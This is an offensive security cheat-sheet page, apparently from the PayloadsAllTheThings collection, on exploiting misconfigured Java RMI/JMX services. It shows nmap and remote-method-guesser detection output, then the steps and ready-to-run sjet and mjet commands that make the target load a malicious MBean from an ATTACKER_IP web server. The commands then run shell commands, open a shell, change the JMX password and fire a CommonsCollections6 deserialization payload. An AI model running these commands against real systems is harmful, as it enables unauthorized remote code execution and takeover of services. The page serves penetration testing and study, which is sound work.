PayloadsAllTheThings/Java RMI

Java RMI

Exposing a weak configured Java Remote Method Invocation (RMI) service can lead to several ways to achieve RCE. One such attack is to host an MLet file and instruct the JMX service to load MBeans from the remote host which can be carried out using the tools mjet or sjet. remote-method-guesser is a more recent tool which bundles enumeration of RMI services together with a summary of currently known attack techniques.

Summary

• Tools
• Detection
• Exploitation
  • RCE using sjet/mjet
• References

Tools

• sjet
• mjet
• remote-method-guesser

Detection

Using nmap:

$ nmap -sV --script "rmi-dumpregistry or rmi-vuln-classloader" -p TARGET_PORT TARGET_IP -Pn -v
1089/tcp open  java-rmi Java RMI
| rmi-vuln-classloader:
|   VULNERABLE:
|   RMI registry default configuration remote code execution vulnerability
|     State: VULNERABLE
|       Default configuration of RMI registry allows loading classes from remote URLs which can lead to remote code execution.
| rmi-dumpregistry:
|   jmxrmi
|     javax.management.remote.rmi.RMIServerImpl_Stub

Using remote-method-guesser:

$ rmg scan 172.17.0.2 --ports 0-65535
[+] Scanning 6225 Ports on 172.17.0.2 for RMI services.
[+]
[+] 	[HIT] Found RMI service(s) on 172.17.0.2:40393 (DGC)
[+] 	[HIT] Found RMI service(s) on 172.17.0.2:1090  (Registry, DGC)
[+] 	[HIT] Found RMI service(s) on 172.17.0.2:9010  (Registry, Activator, DGC)
[+] 	[6234 / 6234] [#############################] 100%
[+]
[+] Portscan finished.

$ rmg enum 172.17.0.2 9010
[+] RMI registry bound names:
[+]
[+] 	- plain-server2
[+] 		--> de.qtc.rmg.server.interfaces.IPlainServer (unknown class)
[+] 		    Endpoint: iinsecure.dev:39153 ObjID: [-af587e6:17d6f7bb318:-7ff7, 9040809218460289711]
[+] 	- legacy-service
[+] 		--> de.qtc.rmg.server.legacy.LegacyServiceImpl_Stub (unknown class)
[+] 		    Endpoint: iinsecure.dev:39153 ObjID: [-af587e6:17d6f7bb318:-7ffc, 4854919471498518309]
[+] 	- plain-server
[+] 		--> de.qtc.rmg.server.interfaces.IPlainServer (unknown class)
[+] 		    Endpoint: iinsecure.dev:39153 ObjID: [-af587e6:17d6f7bb318:-7ff8, 6721714394791464813]
[...]

Exploitation

RCE using sjet or mjet

Requirements

• Jython
• The JMX server can connect to a http service that is controlled by the attacker
• JMX authentication is not enabled

Remote Command Execution

The attack involves the following steps:

• Starting a web server that hosts the MLet and a JAR file with the malicious MBeans
• Creating a instance of the MBean javax.management.loading.MLet on the target server, using JMX
• Invoking the "getMBeansFromURL" method of the MBean instance, passing the webserver URL as parameter. The JMX service will connect to the http server and parse the MLet file.
• The JMX service downloads and loades the JAR files that were referenced in the MLet file, making the malicious MBean available over JMX.
• The attacker finally invokes methods from the malicious MBean.

Exploit the JMX using sjet or mjet

jython sjet.py TARGET_IP TARGET_PORT super_secret install http://ATTACKER_IP:8000 8000
jython sjet.py TARGET_IP TARGET_PORT super_secret command "ls -la"
jython sjet.py TARGET_IP TARGET_PORT super_secret shell
jython sjet.py TARGET_IP TARGET_PORT super_secret password this-is-the-new-password
jython sjet.py TARGET_IP TARGET_PORT super_secret uninstall
jython mjet.py --jmxrole admin --jmxpassword adminpassword TARGET_IP TARGET_PORT deserialize CommonsCollections6 "touch /tmp/xxx"

jython mjet.py TARGET_IP TARGET_PORT install super_secret http://ATTACKER_IP:8000 8000
jython mjet.py TARGET_IP TARGET_PORT command super_secret "whoami"
jython mjet.py TARGET_IP TARGET_PORT command super_secret shell

References

• ATTACKING RMI BASED JMX SERVICES - HANS-MARTIN MÜNCH, 28 April 2019
• JMX RMI – MULTIPLE APPLICATIONS RCE - Red Timmy Security, 26 March 2019
• remote-method-guesser - BHUSA 2021 Arsenal - Tobias Neitzel, 15 August 2021